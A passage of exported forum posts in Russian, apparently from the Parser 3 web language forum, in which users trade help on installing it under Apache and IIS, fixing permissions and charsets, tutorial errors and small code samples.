"232","1. Можно считать, что так и есть. Однако, можно и не знать ООП - результат можно получить практически аналогиный (внешне). Применяя идеи ООП облегчишь работу. Однако, библиотек функций никто не отменял. Можно и \"процедурно\" много сделать. Иначе, зачем позиционировать Парсер, как \"язык для всех\", скромно умалчивая \"для всех объектно-ориентированных программистов\"\
\
2. Пока о нем речи нет. Надо этот развивать ;-)\
\
3. Читать всегда полезно, а классиков - тем более."
"233","Почему не работает этот код? Выводит пустое изображение с другими размерами.\
\
[code]\
@main[]\
\
$square[^image::create(100;100;0x000000)] \
^square.circle(50;50;10;0xFFFFFF) \
$response:body[^square.gif[]]\
[/code]"
"237","Объектная ориентированность к языку имеет мало отношения. Это стиль программирования.\
На С (не C++) написано множество программ с объектами, виртульными функциями, наследованием и т. д. И на вторгом парсере при необходимости создавались и использовались объекты. Просто теперь поддержка объектов есть в синтаксисе языка, и поэтому объкты использовать проще и удобнее...\
"
"238","С приемлимым для определенных(!) целей качеством - почему нет?"
"239","Как заставить parser создавать по ^var[p;1] числовую переменную, а не строку?"
"240","Модуль загружается успешно и я вижу что он загружен через http://мой_сервер/server-info. Я хочу чтобы 3-м парсер работал на одном из виртуальных хостов (но пока не на главном). В httpd.conf (кроме директивы загрузки модуля) пишу:\
[code]\
ParserRootConfig d:/usr/local/apache/cgi-bin/p3\
[/code]\
\
т.е. путь до главного конфига\
\
для этого же хоста в файле .htaccess пишу:\
\
[code]\
AddHandler parser3-handler .html\
ParserSiteConfig d:/usr/local/apache/users/p3\
[/code]\
\
мне выдается такая ошибка:\
\
root_config(1): 'd:/usr/local/apache/cgi-bin/p3' read failed: Permission denied (13), actual filename 'd:/usr/local/apache/cgi-bin/p3'  type: file.access\
\
Где искать проблему?"
"241","$имя_переменной[строка] -	переменной присваивается строковое значение (объект класса string) или результат работы кода\
 \
$имя_переменной(выражение) -	переменной присваивается число или результат математического выражения \
\
$имя_переменной{код} -	переменной присваивается фрагмент кода, который будет обработан в дальнейшем"
"242","Видимо, файл \"d:/usr/local/apache/cgi-bin/p3\" принадлежит другой группе пользователей, отличной от той, в которой запущен parser."
"244","А Страуструп говорит что если и означает что-либо, само понятие объектно-ориентированное програмирование, то это только то что, язык, который называется объектно-ориентированным, поддерживает данный стиль программирования, т.е. в нем есть удобные механизмы работы с классами, перегрузка операторов и т.д. Можно писать в объектном стиле и на ассемблере, но это будет неоправдано сложно. За дословность его слов не ручаюсь, но его мысль вроде верно передал."
"245","поставил разрешения Everyone на изменение файлов в данной директории. Apache работает под системной учетной записью. Сервер под NT 4.0"
"246","Permission denied - это говорит сама система парсеру.\
Вроде бы, там был такой специальный пользователь system - попробуй дать ему full control.\
Фиг его знает - что там еще - я в \"правообразовании\" в виндах не силен :("
"247","неплохо бы добавить в доку, да и в абзац про установку в разделе загрузок этого сайта, фразу о том, что при использовании 3-го парсера в виде модуля к Apache, назначение его(модуля) обработчиком html страниц делается с помощью строчки [i]AddHandler parser3-handler .html[/i] в любом из конфигурационных файлов (.htaccess, httpd.conf)\
"
"249","результат тот же. Для каталога cgi-bin в Apache конфигурация такая:\
[code]\
    <Directory \"D:/usr/local/Apache/cgi-bin\">\
        AllowOverride All\
        Options all\
        Order allow,deny\
        Allow from all\
    </Directory>\
[/code]"
"250","А где гарантии, что все это (на парсере) будет у меня работать завтра?\
Вдруг некто Лебедев встроил в Parser временную задержку - типа shareware.\
И в один прекрасный день я увижу на своем сайте вместо новостей выставленный мне счет за использовании технологии.\
Не очень хотелось бы переделывать весь сайт."
"251","проверил и на iis тоже, вывел то, что написано.\
не может быть, что где-то по дороге пристала какая-нибудь банерорезалка?"
"253","ваша гарантия"
"254","Гм. еще раз читал лицензионное соглащение. Много думал. Не.. с таким лицензионным соглашением можно и на соловках отдохнуть при случае. "
"257","Аааааа.. пункт 2 уже поменяли :)))). Оперативно."
"258","Пример из Урока 2:\
[code]\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
} \
[/code]\
Sections.cfg - так же один в один, как в Уроке 1.\
Но $sections.uri и $request:uri возвращают неравные значения. Вернее $request:uri возвращает, допустим, /price/index.html, несмотря на то, что в строке браузера уписано http://mysite.mydomain/price/\
Конечно же, это лечится дописыванием в поле uri в sections.cfg имен документов. Но, IMHO, это не есть гут.\
Сервер под IIS'ом."
"259","увы, это в доке упущено = упущение устраним.\
метод postprocess класса MAIN, если есть, запускается Parser автоматически, ему передаётся единственный параметр — результат работы метода main, а пользователь получает результат работы postprocess\
\
диагноз: если вам нужно что-то сделать со всем результатом работы любой страницы, можно это сделать в auto.p в корне сайта, добавив туда\
[code]\
@postprocess[body]\
ваши действия с $body\
[/code]\
\
преимущества очевидны — нужно часто, main бывает много, вручную каждый раз вызывать было бы неудобно"
"260","Это особенность IIS под Apache все OK. Со 2-м парсером тоже происходили аналогичные штуки и там для создания переносимого кода пользовались ^env[PATH_INFO], вызов которой давал одинаковые результаты под обоими серверами. Тут тоже самое, но синтаксис децил другой: $env:PATH_INFO"
"261","это бага, но IIS, в 5.0 тоже не починили, так что, видимо, починят не скоро.\
\
я думал было сам отрезать, но, в общем виде, что за файлы оглавления у данного каталога могут быть, надо каждый раз ходить в базу IIS и узнавать, что мне показалось неоправданным расходом времени выполнения запроса\
\
ведь кто-то любит index.htm, кто-то .html, кто-то default.*, а про кого-то даже и подумать страшно."
"262","кто-нибудь может решить, что \
\"достаточно было выбросить index.html и дело с концом\"\
для него выложены исходники, пусть соберёт и поделится с теми, кто так же думает."
"263","У меня всё просто: файл auto.p, файл index.html, в котором лежит вышенаписанный код. Просто выдает рамку несуществующего изображения размером 613х607 точек. Я не понимаю это, хоть убейте."
"265","file|save и пришлите мне этот \"gif\"\
может помогу.\
\
\"чудес не бывает\" (c) не помню чей"
"266","Что значит:\
\
user-request(1): '/usr/www/.../index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/usr/www/.../index.html'  type: parser.runtime\
\
, если я парсер в виде .cgi скачал для FreeBSD?\
"
"267","[quote]\
\
Cкомпилированые версии могут читать и исполнять только файлы, принадлежащие группе пользователей, от которой работает парсер. Это сделано для большей безопасности.\
\
[/quote]\
\
http://parser.ru/download/"
"268","Вот мой код (из примера, причём можно любой вставлять - на выходе то же самое):\
\
[code]\
$square[^image::create(100;100;0x000000)]\
#$response:body[^square.gif[]]\
^square.html[]\
[/code]\
\
Как видно, $response я заремил - выводит точный квадрат 100х100, но пустой внутри (никакого цвета), т.е. как будто этой картинки нет физически. При включенном $response - история повторяется, но хуже - размеры \"картинки\" абсолютно другие."
"269","Спасибо.\
Так торопился скачать, что не заметил :)"
"270","сохранил страницу на диск, попытался открыть файл image.gif, а он пишет: \"Невозможно построить изображение\". Вот такс..."
"271","Положить исходники в виде отдельного зипа. Пока я ничего дописывать не собираюсь, но посмотреть, как  реализовано то или иное было бы интересно, возможно я не одинок. А ради этого ставить CVS не особо хочется, да и операционка не особо позволяет.\
Или есть причина не делать этого?\
\
На всякий случай спасибо."
"273","Мне один раз скачать, посмотреть, как основное реализовано и как это что-то работает. А в очень многих местах распространия \"гнусного\" кода так и сделано."
"274","вот блин...\
а я сидел настройки \"индейца\" ковырял(на каковой пересел после IISa)"
"275","........\
встроенное кеширование в парсере, а в php нет.\
сайт с использованием xml и xsl на php сделать сложнее, чем с помощью парсера.\
\
"
"276","язык Парсер я выучил за 3 дня, простой до гениальности. Вчера на компьюленте новость о новом парсере проходила под заголовком \"...конкурент PHP...\". Неужели и правда Парсер когда-нибудь может стать альтернативой PHP или другим мощным языкам скриптования? И сможет ли когда-нибудь Парсер завоевать такую же популярность и распространенность?"
"277","А если используется parser 2.0 ?"
"278","По моему в 3-м парсере сам язык, это не главное. Главное это удобная поддержка ООП а этому за 3 дня не научишься :)"
"279",".html так бессмысленен, он пишет html, а на диске ничего нет, так что увидите пустое место —\
[code]\
<img />\
[/code]\
\
таки пришлите файлик почтой"
"280","В догонку: переписывать все на парсер 3.0 - не предлагать. У меня на парсере работают не программисты, а кодеры."
"282","Нифига не понял. А в парсер 2.0?"
"284","нууу, если уж компьюлента так считает, то дело решённое."
"286","моя ошибка.\
при прямом показе созданного файла я его лишний раз перекодирую.\
проявляется, когда request/response кодировки различаются.\
по-умолчанию в конфиге и то и то windows-1251.\
\
такая прозрачная выдача практически не очень нужна, обычно кэшируют.\
\
[code]\
$square[^image::create(100;100;0x000000)] \
^square.circle(50;50;10;0xFFFFFF) \
#$response:body[^square.gif[]]\
$gif[^square.gif[]]\
^gif.save[binary;square.gif]\
<img src=square.gif>\
[/code]\
\
всё равно неправильно=починю."
"287","поскольку база была создана при помощи Parser 2.0, а там KOI8-R, а 3-ий в обычных кодировках неправильно выводит."
"288","хотелось бы узнать планируется ли перевод документации на английский язык? Без этого сложно будет конкурировать с PHP за пределами совка. И нам, кодерам работающим на парсере за границей, было бы тогда легче обяснить иностранным коллегам что такое Парсер. Пора уже продвигать Парсер за бугор!"
"289","Допустим, в базе у меня данные хранятся в KOI8-R. Чтобы мне и дальше работать в этой кодировке мне нужно в auto.p изменить параметры response и request:\
\
[code]\
$request:charset[koi8-r]\
$response:charset[windows-1251]\
[/code]\
\
В этом случае всё будет верно: и SELECT, и INSERT.\
\
НО! Когда я пытаюсь сохранить данные в файл, они сохраняются в KOI8-R, что мне совершенно не нужно...\
\
Можно как-нибудь перекодировать строку, которую я хочу сохранить в файл?"
"290","http://www.parser.ru/docs/lang/app3mysql.htm - есть же charset коннекта. Зачем трогать request/response?"
"291","http://www.parser.ru/forum/?id=290\
Как раз - про KOI8-r и SQL"
"296","Из базы выбирается текст (поле MEMO) и выводиться в html-элементе:\
\
[code]<textarea>$base.description</textarea>[/code]\
\
Если в тесте есть двойные переводы строк, то в textarea они уничтожаются, что в поледующей редакции этого текста нарушается его структура: там где должны быть <p>, получаются <br>.\
\
Можно этого как-нибудь избежать средствами html или parser`а?"
"297","Помнишь, был ^optimize[]?\
\
Теперь надо почитать раздел про ^taint/^untaint - сразу все поймешь ;-)"
"298","Кто-нибудь сервер с ним собирал? Как им вообще пользоваться?\
\
Я вроде делал всё, как надо, но не заработало. А файл mod_parser3.c нулевого размера. Хотя p3runConfigure модуль опознал..."
"300","Всё чуваки, парсеру САБЖ!"
"301","Да вот доку ночью вчера почитал ... много разных эмоций испытал, особенно от того, что в близлежащие полгода мне придеться писать на p2 и на p3 - последний еще изучать придеться - все же довольно не сразу можно писать код на p3 с таким результатом, что бы через месяц его не пришлось переписывать (в процессе \"изучения\"(а оно только на практике) умшка и опыта прибавляеться). Хуже всего - если через год появиться парсер с новым синтаксисом ( как мой начальник был \"рад\", кады я ему сказал, что p2 и p3 как небо и земля )..ВОт такие дела. А сессии так и не появились :-( И исчо не хватает возможности определять, что являеться папкой, а что файлом ( и -d для решения этой задачи не подходит )....вообще-то я дизайнер и чем больше парсер становиться \"чиста для куль программистов\" - тем больше.... хочеться пива.. :-)\
(на понимание p2 у меня ушла ночь (что бы понимать, как и чего я буду писать), на p3 уйдет явно 3-4 ).....\
...пиво...........АУУУУУУУ...!!!!!!!!!!"
"302","через год не появится - paf имеет много отличий от скорострельного пулемета\
\
сессии - не самая трудная проблема\
встроенные в язык (напр. asp) сессии тоже имеют минусы - истекают через 15 минут, например, и их часто приходится реализовывать иначе\
\
папки и файлы - это задачка для перла\
\
четыре ночи - не самый смертельный срок\
\
насчет пива - не ко мне ;-)\
\
"
"304","Студия Арт. Лебедева является крупнейшей студией в России. Неужели ты и вправду думаешь, что кто-либо захочет так рисковать этим именем и репутацией? Это было бы просто глупо. ;-) Да и в конце концов, бинарники (хоть и не исходники) то есть? В случае чего можно будет подправить пару байтов. ;-) "
"305","Помогите с установкой apache_2.0.35-win32. У меня стоит Windows 2000 Prof., после установки сервера в трее появляется иконка, но на команду Start сервер никак не реагирует. Если есть какая инфа по этому поводу пожалуйста помогите"
"306","Ищи джентельменский набор веб-разработчика вооще рульная штука там есть apache php mysql perl всё устанавливается очень легко и работает в одной связке мучаться обсалютно не надо если не найдешь пиши на мыло вышлю!"
"307","не знаю что имел ввиду fox, но я сам стараюсь ставить пакет от NuSphera(Apache+Perl+PHP+MySQL), под вин2000про ставиться нормально. а сайт думаю найдешь :)"
"309","ну и что???\
я уже не помню сколько на нем сижу - все нормально.\
главное закрывать некоторые файлы и все.\
Заодно, пользуясь случаем, благодарю за оперативность в ответах сотрудников PARSER-Dev.team & ALG :).\
нормальные люди и продукт нормальный.\
если уж конкуренты ALG соглашаются с тем что разработка на \"птичке\" быстро и удобно в 80% случаев, это о чем-то говорит?"
"310","хм\
а апач под девятку ты сам написать хочешь? :)"
"311","короче здесь есть все от установки  до файлов инсталяции http://www.dklab.ru/chicken/web/base.html"
"314","Да и Апфел обрадуются :\
они обрадовались, что потеряли не 1 мил-рд USD как предпологали \
а всего 100 ми-онов USD :)"
"315","нет, это все конечно ОЧЕНЬ полезно, а вот только какой дистрибутив скачивать для Апача???\
Вообще хоть кто-то пошагово объясните что-куда совать на структуре директорий следующего типа:\
<>.com.ua\
|\
|-public_ftp(dir)\
|-public_html(gir)\
| |\
| |-cgi-bin(dir)\
\
Именно интересуют файлы parser3.cgi, .htaccess, parser3.cfg и может еще что-то"
"316","Какой дистрибутив скачивать для Апача???\
Вообще хоть кто-то пошагово объясните что-куда совать на структуре директорий следующего типа:\
<>.com.ua\
|\
|-public_ftp(dir)\
|-public_html(gir)\
| |\
| |-cgi-bin(dir)\
\
Именно интересуют файлы parser3.cgi, .htaccess, parser3.cfg и может еще что-то. И куда складывать файлы промера: parser3.cgi и auto.p???"
"317","<>.com.ua\
|\
|-public_ftp(dir)\
|-public_html(gir)\
| |\
| |-cgi-bin(dir)\
\
parser3.cgi - в cgi bin (755)\
редактировать .htaccess\
\
все остальное - примеры (*.html, *.p) в public_html"
"318"," ./parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime\
\
(не russian apache)"
"319","понятно, а куда же пихать файлы кодировок и файл parser3.conf ? И права доступа на них..."
"320","Тот, что с кодировкой. Проверь пути."
"321","Или, если есть возможность, создай на том же уровне, что и public_html(ftp, cgi) папочку etc - положи туда.\
\
Права уже на всех файлах \"правильные\". Если вдруг получишь permisson denied или ошибку, связанную с \"другой\" группой пользователей - надо будет их поменять, иначе - ничего не трогай."
"323","у меня хостер - вообще хрен знает где находится -\
\
не  забыть про .htaccess\
\
я сбросил все в /cgi-bin/ :\
\
1) cgi parsera   \
2)parser3.conf (config полный отредактированный- \"там пути кparser3.charsets\")\
3)/lib/    <---- сюды либ- мусукуэла\
4)/parser3.charsets/\
\
5) работает."
"324","все там - cgi, conf, lib. charsets ?? - is it lethal ?"
"326","а сам не поделишься??? ;)(с хитрым ленинским прищюром) бають у тебя 10-ка с апдейтами стоит.\
"
"327","у нас такое other называют\
Квесчен: под БСД все-таки собирать??? а то у меня сейчас хостер не моей конторы(админом рулить не могу :) ), а фрю там только через месяцставить будут."
"328","Из lesson4:\
Исправил конфиг\
mysql	$sqldriversdir/libparser3mysql.dll	$sqldriversdir/libmySQL.dll\
создал p3test\
страница добавить работает, а на submit жмешь - 405 не могу отобразить страницу\
$connect_string[mysql://root@localhost/p3test]\
root - есть, все разрешения для него стоят\
\
В php конектится, добавил строку с помощью php - работает, и просмотр из lesson4 не хочет, в php - выводит все нормально\
\
Что не так?\
(Win32,IIS)\
"
"329","мож-быть не :\
\
libparser3mysql.dll \
а\
parser3mysql.dll\
\
- попробуй поменять :-) "
"330","Дык, поменяно. Я же сказал."
"331","У меня и прописано:\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
\
И пути задан правидльно:\
$charsetsdir[d:\\winnt\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[d:\\winnt\\parser3\\lib]\
"
"332","Начитался я много!!! Это что-то, я даже при установке у себя на локальной машине Apache'a+PHP+MySQL прочел док меньше раза в три :)\
Но речь не об этом - МНЕ ПРОСТО ПОНРАВИЛСЯ _ВАШ ЯЗЫК_ !!! Честно...\
Значит так: ПРОШУ КОНКРЕТНОЙ ПОМОЩИ \"техгологов студии Лебедева,\
которые постоянно онлайн\" {а вы когда спите тоже онлайн??? =) }\
Информация про МОЙ сервер: Linux RedHat 7.0, Apache 1.3.14, PHP 4.0.4, MySQL 3.23.28.\
Дальше, структура папок на серваке:\
/\
|--public_ftp(dir)\
|--public_html(gir)\
|  |\
|  |--cgi-bin(dir)\
Каой именно дистрибутив мне нужно скачать с Вашего сайта и куда что залить на моем сервере, при условии чтобы все после этого работало. Да, и куда бросать файло *.p, *.cfg и использующие их *html - ки. \
Простите меня, но в UNIX я знаю только как менять права доступа через CuteFTP.\
Вот если все это соблюдете и ответите мне так, что после этого у меня все заработает, то я поставлю за Вас свечку, честное слово! Церковь тут у меня рядом :))"
"333","Давай все вопросы оставим до 13 мая, когда мы вернемся с каникул... В любом случае, на все вопросы касательно Мас OS X тоьлко мылом или через асю - этот форум только про Parser и около :-)"
"334","Уже третий раз...\
\
Качать версию для Linux 6.2\
Качать cgi (если нужен XML - качать с поддержкой XML, иначе - просто cgi) + конфиги + MySQL драйвер.\
Положить все скачанное в cgi-bin.\
Отредактировать parser3.conf в соответствии с реалиями - прописать там пути к cgi-bin от / (root) сервера (может быть, можно прописывать и относительные пути, но мне привычней абсолютные, да и надежнее это) - это достаточно просто - FTP-клиент должен уметь возвращать это путь по команде pwd\
.html, .p и *.cfg класть в public-html\
там же (в pubic-html) создать .htaccess, в который надо прописать то, что требуется в левой колонке раздела \"Скачать\"\
\
Спим тоже он-лайн - справа внизу вседа мигает иконка \"новое письмо\" ;-)"
"335","Misha | Paf | Luzhnikovskiy - кому про ошибки в доках писать? Пока не написали об этом в /feedback/ (или, лучше, не прикрутили особую формочку в раздел с доками под это дело) пишу сюда.\
\
Вот две последние из того, что нашёл:\
\
Стр. 51 в pdf'е - [i]<a href=\"town.html?^taint[uri][$town]\">$town</a>[/i] вместо [i]<a href=\"town.html?^taint[uri]{$town}\">$town</a>[/i]\
\
Стр. 30, самый верх - какая \"запись гостевой книги\"? Пример - про новости!\
\
Было ещё с полдюжины, но это было до того, как я взял за труд записывать.\
\
PDF не хило было бы сделать с bookmark'ами.\
\
P.S. А дока - [i]отвратительная[/i]. Обидно чертовски."
"336","по поводу первой: с квадратными скобками тоже сработает. не уверен, что во всех случах, но на текущей версии, собранной под Mac OS X - работает ;-)\
\
Про количество: было больше. И проблема не в тех, кто писал - они, действтельно, сделали великую работу. Проблема, точнее даже просто дело, в постоянном совершенствовании доки. Мы, как люди, давно знакомые с, чего-то просто не видим. Напиши PAFу все что увидишь, очень вероятно, что это или недосмотр, или надо просто перефразировать, чтобы все встало на места - проект то открытый ;-)\
\
Про качество: это лучшее из возможного. Мне лично некоторые места были абсолютно непонятны, и я написал об этом PAFу - большая часть была исправлена, остальное мне разяснили, и я понял ;-)\
\
Мораль: даешь сотрудничество!"
"337","И ещё одна вещь - можно ли не пользоваться упомянутым в Subj. шрифтом, а тем более embed'ить [i]вообще какие-либо шрифты[/i] в pdf-файл (от чего он меньше не становится)? \
 \
Мой постскриптовский Tektronix Phaser его не печатает (абыдна, когда четырехтысячедолларовый принтер в принципе что-то не печатает, правда?), а на экране Adobe Type Manager его как-то по-хитрому сглаживает и глаза болят долго читать. Default font rulez forever, в общем... "
"338","а мне мануал ОЧЕНЬ понравился по оформлению, но не по содержанию %)\
По $4,000-вый приньер - купи у меня $100-вый за $200 и все напечатает как миленький!!!"
"339","Я в цвете хотел... А так и на обычном лазрнике можно..."
"340","так мой и в цвете может, только где ты тут в мануале цвет видел?"
"341","вот что я задал в файле .htaccess:\
\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG /public_html/cgi-bin/parser3.conf\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /public_html/cgi-bin/parser3.cgi"
"342","# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"343","пути к parser3.cgi и parser3.conf указаны 100% ТОЧНО (см. первую часть темы форума).\
\
файлы примеров (auto.p, p.html и sections.cfg) лежат в дирректории public_html.\
\
При попытке выполнения файла p.html выдает вот такую ГАЛИМАТЬЮ:\
The requested URL /public_html/cgi-bin/parser3.cgi/p.html was not found on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request."
"344","Можете посмотреть сами по ссылке http://mobilezone.com.ua/p.html\
\
Права доступа на файлы и папки:\
|\
|--public_html(755)\
|  |--cgi-bin(755)\
|     |--parser3.cgi(644)\
|     |--parser3.conf(644)\
\
Что касается моего хостинга: Linux RedHat 7.1, установил Parser v.3 для Linux RedHat 6.2"
"345","по-моему Ваш форум большие мкссаги не хавает - вот я и разбил"
"346","Синтаксис раскрашен в pdf'е - ради этого и цветной принтер погонять можно.. \
\
[quote]так мой и в цвете может[/quote]  [url=http://www.officeprinting.xerox.com/cgi-bin/product.pl?product=1235&cache=miss]Четырнадцать страниц в минуту?![/url]  Стобакстовый струйник? \"Не смешите мои тапочки...\""
"347","RESPECT"
"349","RESPECT to your GREAT printer!!!\
Если бы у Леннина (упокой Бог его душу) был бы такой, то он бы захватил весь МИР, так как надолбал бы МОРЕ листовок, которое потом, с покупкой принтера за 10,000 тыс., превратилось бы в ОКЕАН листовок, который затопил бы души склочных буржуа!!!\
RESPECT, man"
"350","http://parser2.parser.ru/forum/message_9748.html\
только со вторым парсером"
"353","Доку вообще переформатировать нужно.\
Ну не читается же она Ариалом, глаза режет просто. У вас так все здорово было в доке по 2му - просто приятно читать...\
\
Ну или хотябы сделать простенький выбор шрифтов в online версии."
"356","ato : \
pdf= нет принтера\
chm= удобно - но не привыкли\
html= привыкли ну нет teleport'a pro *\
"
"357","простите кто так подумал, но я об этом подумал только, когда прочел Вашу мессагу %))\
мне нужно просто разобраться вот я и тружусь крапательством"
"358","проблема в том, что он ищет мой html-ник вот по какому пути:\
The requested URL /public_html/cgi-bin/parser3.cgi/p.html was not found on this server.\
Как та может быть, что он файл с дирректорией путает?"
"359","Фишка в чем - в lesson 4 (да и в 5 тоже, нифига не работал) форма объявляется как (action-то не задается):\
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
 \
Запускаю - фиг работает. 405 error. Думаю, может POST не пашет? Решил проверить в asp.\
index.html\
@greeting[] \
Администрирование новостей (ASP)\
 \
@body_additional[] \
Добавление новостей \
 \
@body_main[] \
$now[^date::now[]] \
 \
<center> \
<form method=\"POST\" action=\"submit.asp\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
 \
submit.asp\
<%\
Response.Write(\"Date: \"+Request.Form(\"date\")+\"<br>\")\
Response.Write(\"Header: \"+Request.Form(\"header\")+\"<br>\")\
Response.Write(\"Body: \"+Request.Form(\"body\")+\"<br>\")\
%>\
 \
Все работает. Ставлю теперь action=\"index.html\" - ура! Все заработало. Уфф.\
index.html\
@greeting[] \
Администрирование новостей (ASP)\
 \
@body_additional[] \
Добавление новостей \
 \
@body_main[] \
$now[^date::now[]] \
 \
<center> \
<form method=\"POST\" action=\"index.html\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
 \
Parser3 - rules. Я же говорил.\
 \
Вопрос: это глюк parser3, документации на него или у меня в настройках IIS?\
 \
Adio, Vladimir."
"360","Создаем таблицу c полями id, date, header, body. Заполняем также, а потом:\
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, text  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day' \
   }] \
Ясен фиг он ругается. Откуда же поле text возьмется?\
\
Ребят, вы хотя бы патч к документации выложили пока не доделаете. Наверняка вам уже кучу такого прислали и одно и тоже."
"362","Залез в доки, пробежал по первому уроку, быстренько скопировал все куда надо (или не надо). Попробовал сделать html-код, получилось вот что:\
\
<html>\
	<body>\
	^navigation[]\
	</body>\
</html>\
\
и выдает это все просто \"^navigation[]\", что меня особо сильно не удивило (было бы странно, если б все сразу заработало).\
\
Проблема следующая: html-код правилен или нет? В документации не нашел чистого примера html-кода ->\
\
-----------\
Вот и все, подготовительные работы закончены. Теперь открываем код страницы, где все это должно появиться (например, index.html), и говорим: «Вставить меню навигации». На Parser это называется «вызов метода» и пишется так: \
\
^navigation[] \
------------\
\
Я криво вставил вызов или настроил сервер? Само-собой файлы sections.cfg и auto.p присутствуют.\
\
P.S.\
В Опере новое сообщение в форум не добавляется."
"364","До 1 мая вечером заработал первый пример, !!!, перешел ко второму и .... выдает ошибку типа \"... column not found...\", вернулся к первому примеру и тоже самое пошло... \
\"column not found\
uri\
\
D:/Downloads/parser/test/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu D:/Downloads/parser/test/auto.p(5)\
navigation D:/Downloads/parser/test/index.html(3)\"\
уже три часа бхюсь, все переустановил заново но нет сдвига Help Please..."
"365","Поставил на RH 7.2 Apache2, вроде все работает, только вот он не обновляет SSI. Ставлю в index.shtml <!--#include virtual=\"1.shtml\"-->. Если вносишь изменения в сам index.shtml все нормально, но изменения в 1.shtml его не касаются и никак не удается этого устранить. Глюк новой версии или что-то не настроил? Браузер IE 5.5 ничего не кешырует и прокси не использует. \
\
Спасибо "
"366","Ни фига, пример 1,2 и 3 работают без всяких исправлений. Просто copy-paste, а пример 4 - смотри ниже, я уже писал вчера."
"367","Сорри, что отвечаю за спецов, но если есть сомнения насчет правильности html-кода, то вот цитата:\
\
Первое, очень важное. Вы уже имеете представление о том, что такое HTML. Если данное сочетание букв вам незнакомо, дальнейшее чтение вряд ли будет увлекательным и полезным, поскольку Parser является языком программирования, существенно упрощающим и систематизирующим разработку именно HTML документов. \
\
Ну а если сомневаетесь насчет работоспособности вашего сервера, то вот еще одна:\
\
Второе, существенное. Мы предлагаем вам познакомиться с новой версией Parser на практических примерах, поэтому будем считать, что у вас под руками есть установленный Parser3. Теория, как известно, без практики мертва. Как установить и настроить программу, подробно рассказано в приложении."
"368","index.htm:\
\
^navigation[]\
\
-----------------------\
\
Ведь в help'е сказано, что функции вставляются внутрь html-файла.\
\
Как минимум должно где-то стоять что-то типа\
\
<HTML>\
</HTML>\
\
Или Parser это все автоматом генерит? Не поверю.\
\
Можешь дать код index.html для примера1?\
"
"369","у меня сомнения насчет корректности вставки функций Parser'а в html-код. А в документации я не нашел ничего насчет как это делается.\
\
Первый попавшийся пример из web'а по Javascript'у:\
-------------------------------\
<HEAD>\
<TITLE>Cool JavaScripts</TITLE>\
<SCRIPT language=\"JavaScript\">\
<!-- hide from old browsers \
alert('Welcome to my Web Site!');\
//-->\
</SCRIPT>\
</HEAD>\
----------------------------\
Ctrl+C & Ctrl+V -> работает!!!\
\
Тут есть четкое указание как вставлять функции JS в HTML.\
Про Parser же нет четких указаний, нужны дополнительные инструкции в коде или не нужны. Вы мне просто скажите мой html-код верен или нет. А лучше пример работающего html-кода. Тогда хоть понятно будет, что дело в настройке сервера."
"370","попробуй - не Copy -paste из доков,\
а сделай колумнсы через TAB - и все заработае."
"372","тот код вроде правильный -\
баги где-т в настройках."
"373","Ни имени ни мыла, телепортировать тебе что ли?\
woofer | z32@svitonline.com я отправил.\
\
До встречи в астрале."
"375","В классе gbook создаем объект messages, а потом пытаемся обратиться к ^gbook.menu{... Parser ругается страшно. Надо просто исправить функцию @show_messages так:\
@show_messages[]\
^if($messages){ \
   ^messages.menu{ \
      <table width=\"100%\"> \
         <tr> \
         <td align=\"left\"><b>$messages.author \
            ^if(def $messages.email){ \
               $messages.email \
            }{ \
               Нет электронного адреса \
            }</b> \
         </td> \
         <td align=\"right\">$messages.date</td> \
         </tr> \
      </table> \
      <table width=\"100%\"> \
      <tr> \
         <td>$messages.body</td> \
      </tr> \
      </table> \
   }\
}{ \
   Гостевая книга пуста. \
} \
\
Все работает."
"376","В @test_and_post_message[]стоит проверка ^if(def $form:post). У меня под IIS в Win32 при добавлении сообщения в гестбук функция начинает выполняться и вешается, выдается сообщение: ошибка обращения к XXXX. Некрасивые слова, короче. Потом обновляешь страницу - в gbook штук 20-30 одинаковых записей добавено. Такое впечатление, что код задуманный здесь не работает и условие (def $form:post) срабатывает xxx раз:\
@test_and_post_message[]\
^if(def $form:post){ \
